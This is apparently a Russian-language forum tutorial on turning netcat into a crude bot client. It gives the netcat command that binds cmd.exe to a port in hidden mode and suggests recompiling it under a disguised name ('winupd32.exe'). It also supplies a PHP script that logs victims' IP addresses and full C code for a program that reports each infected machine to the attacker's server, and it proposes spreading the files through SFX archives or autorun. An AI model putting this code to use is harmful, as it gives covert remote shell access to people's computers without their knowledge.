Начнем
Все знают, что такое неткат(netcat):
wiki: "netcat (англ. net сеть + cat) — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою простоту, данная утилита не входит ни в какой стандарт (например, POSIX)."
Есть у него очень полезные аргументы, например:
-L прослушивание порта
-p прослушиваемый порт
-d скрытый режим
-e <exe_file> - запуск exe_file
Таким образом, выполнив команду:1 netcat.exe -d -l -p 6666 -e cmd.exe

мы запустим "прослушку" 6666го порта, с последующим запуском cmd.exe. Т.е. мы получим шелл.
Это всем известно, ничего нового. Так почему бы нам не попробовать использовать ее в качестве бот-сервера?
*Примечание: никаких способов скрыться от антивирусов/фаеров/etc тут не будет*
Итак, поехали!

Нам нужен хостинг, с поддержкой php. Создаем php-файл следующего содержимого:1
2
3 <?php
    file_put_contents("ip.txt", $_SERVER["REMOTE_ADDR"]."\n", FILE_APPEND);
?>

будем писать в файл все ремоут-ИПы. Кидаем на серв, выставляем права. Допустим, что наш урл выглядит так:
wwwsome_host.ru/ip.php
Все, с этим закончили.

Качаем исходники netcat. Компилируем его с именем, которое не будет вызывать подозрение(например, winupd32.exe).

Теперь нам нужно _что_то_, что будет сообщать нам об ИПах. Тут ничего сложного.
Пишем софтинку, которая просто будет коннектиться на wwwsome_host.ru/ip.php, естественно коннект должен быть от юзера.
Код простой:


1#include <stdio.h>
2#include <stdlib.h>
3#include <winsock.h>
4
5#pragma comment(lib, "ws2_32.lib")
6
7#define ADDR "0.0.0.0" /*      Тут ИП нашего wwwsome_host.ru/ip.php      */
8#define PORT 80
9
10int main(int argc, char *argv[])
11{
12 SOCKET sd;
13 WSADATA wsa;
14
15 int con, rc;
16 struct sockaddr_in net;
17 char buf[255];
18 char s[] = "GET -- HTTP/1.1\r\nHost: some_host.ru\r\n\r\n";
19
20 WSAStartup(0x0101, &wsa);
21 memset(&buf, 0, sizeof(buf));
22 net.sin_family = AF_INET;
23 net.sin_port = htons(PORT);
24 net.sin_addr.s_addr = inet_addr(ADDR);
25
26 sd = socket(AF_INET, SOCK_STREAM, 0);
27if(sd < 0)
28    exit(1);
29 con = connect(sd, (struct sockaddr *) &net, sizeof(net));
30if(con)
31    exit(1);
32 con = send(sd, s, sizeof(s), 0);
33 if(con <= 0)
34    exit(1);
35 closesocket(sd);
36return 0;
37}


Вот и все. Основная часть готова. Тут много чего добавить можно - и запись в реестр, и проверку наличия сети и т.д. Дело фантазии.
Скомпилировать не забудьте.
Теперь остается запустить неткат, с нужными параметрами, запустить нашу "стучалку" и все. "Клиент готов" (c)

Разберемся с запуском. Тут вариантов много: либо мы создаем sfx-архив, который будет все это запускать, либо мы суем все это в авторан.
Или же можно сделать так: распаковываем файлы, затем запускаем неткат нашей стучалкой, добавив, например, такую строчку:1 CreateProcess(NULL, "winupd32.exe -d -L -p 65535 -e cmd.exe", ..., ...);

Результат работы будет тут:
--
Хм...вроде все.

Линки:
http://netcat.sourceforge.net/
http://www.intuit.ru/department/security/issec/1/